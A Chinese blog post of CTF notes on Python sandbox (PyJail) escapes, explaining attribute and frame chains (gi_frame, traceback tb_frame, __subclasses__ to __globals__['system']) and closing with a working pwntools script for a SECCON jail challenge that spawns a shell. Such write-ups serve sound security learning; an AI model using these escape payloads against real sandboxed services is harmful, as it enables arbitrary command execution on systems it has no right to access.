PyJail绕过姿势思考
灵感来源于LamentXU给我关于SCEEON一题沙箱逃逸的payload,我在想接触了PyJail的类型也不算太少了,也得浅浅总结一下。从SSTI开始说,服务器模板渲染,我们需要的是绕过题目或真实环境给我们设置的限制去rce或者写文件到可读目录,触发点比较基础的是templete_render,这一块只先写写python,一般来说无限制的情况下,过程大致就是拼接拿到动态os,又或者是拿到内置模块__builtins__,这里就不做赘述。

然后再上升为pyjail,ssti的绕过的进阶了有点像,pyjail我目前接触的其实还是贫乏,主要强调基础为主,python一切都可是对象,而对象都有类为对应蓝图,就是类,而类又共通,可以去顺着链条去找他们的类的命名空间,这样就能找到可以执行命令的类,然后可以找初始化类的方法,去找函数命名空间globals啊,然后是模块,这个我个人认为是最难理解的,模块呢它也是类,每一个文件,文件夹创建,就会返回模块,格式像<‘class s’><‘module a’>之类的,然后呢一个对象的属性合集是__dict__,dict里有class,module,那都是dict的属性的一部分,当然这都是原理。
逃逸的手段有很多很多,比如对象到类,到类的命名空间,再到执行命令的类,初始化函数,函数的命名空间,执行命令函数,当然这很笼统。

当然了,这种光说理论不行,给点实战之类的理论。
我接触过一些栈帧逃逸,包括顶上提到的keyerror什么的逃逸,都有一些共性,那就是某个对象是可控的,也就是生命周期可控,这个对象可以是原本存在,也可以是自己制造的,比如制造各种类型的报错,而报错都是对象,对象又有对应的类·····,这样一来,只要在它可控,那就能进行逃逸的尝试,举个例子。
s = (i for i in range(100))k = s.gi_framebb = k.f_globalsprint(bb)这s就是个生成器,frame用完不会消失,而是存为frame对象可以继续调用,直到next(s)停止。这里就能拿到它的globlas,也能拿到builtins,这很有趣。
当然还有栈帧逃逸:
因为一切都有指向的类,异常也是如此,我们直接根据异常类造对象,就像下面
import systry: raise Exceptionexcept Exception as k: f = k.__traceback__ f1 = f.tb_frame while f1 is not None: g=f1.f_globals if 'sys' in g: print(g) breakraise Exception造一个错误对象,然后绑定到k,而这个错误对象又会绑定到错误栈上,而错误栈有自己独特的dict,也就是有f_globals,f_local等等,可以通过这些溯源拿到执行命令的模块,达到逃逸的目的。
再可以举一个例子,同样是利用错误,payload如下:
from pwn import *
context(log_level="DEBUG")
io = remote("excepython.seccon.games", 5000)
# attack chain:# [].__setattr__.__objclass__.__subclasses__()[167].__init__.__globals__["system"]("sh")io.recvuntil(b"jail>")io.sendline(b"{}[f := lambda x: x[0].__getattribute__(*x[1:])]")io.recvuntil(b"jail>")io.sendline(b"{}[f := ex.args[0], g := lambda x: f([x[0]]+x)]")io.recvuntil(b"jail>")io.sendline(b'{}[g := ex.args, g[0][0]([[]] + ["__setattr__"])]')io.recvuntil(b"jail>")io.sendline(b'{}[g := ex.args[0], g[0][0][0]([g[1]] + ["__objclass__"])]')io.recvuntil(b"jail>")io.sendline(b'{}[g := ex.args[0], g[0][0][0][1]([g[1]] + ["__subclasses__"])]')io.recvuntil(b"jail>")io.sendline(b"{}[g := ex.args[0], g[1]()[167]]")io.recvuntil(b"jail>")io.sendline(b'{}[g := ex.args[0], g[0][0][0][0][0][1]([g[1]] + ["__init__"])]')io.recvuntil(b"jail>")io.sendline( b'{}[g := ex.args[0], g[0][0][0][0][0][0][0]([g[1]] + ["__globals__"])["system"]]')io.recvuntil(b"jail>")io.sendline(b'{}[g := ex.args[0], g[1]("sh")]')
# cat /flag*# SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}io.interactive()这里就是用{}[0]这种会报keyerror的原理,然后这个keyerror是绑定到ex上的,ex因为是keyerror所绑定的所以也带有keyerror的dict,也就是有args,这个原本是报出错误的名称的,也就是我们弄的[]里放的,但是我们将其当成了容器,因为这个字符存进去也能变相取出来,这样通过这个不停绑定参数,最后加载我们需要的执行命令的方法函数。这都是对于python内部机制的探求吧我想
总归都是我们能用什么,能控制什么,控制的东西如何运作,知道这些,我想,会理解更加深入吧。
才疏学浅,仅供参考,其实还是以原理为主,哈哈,就到这里吧

部分信息可能已经过时





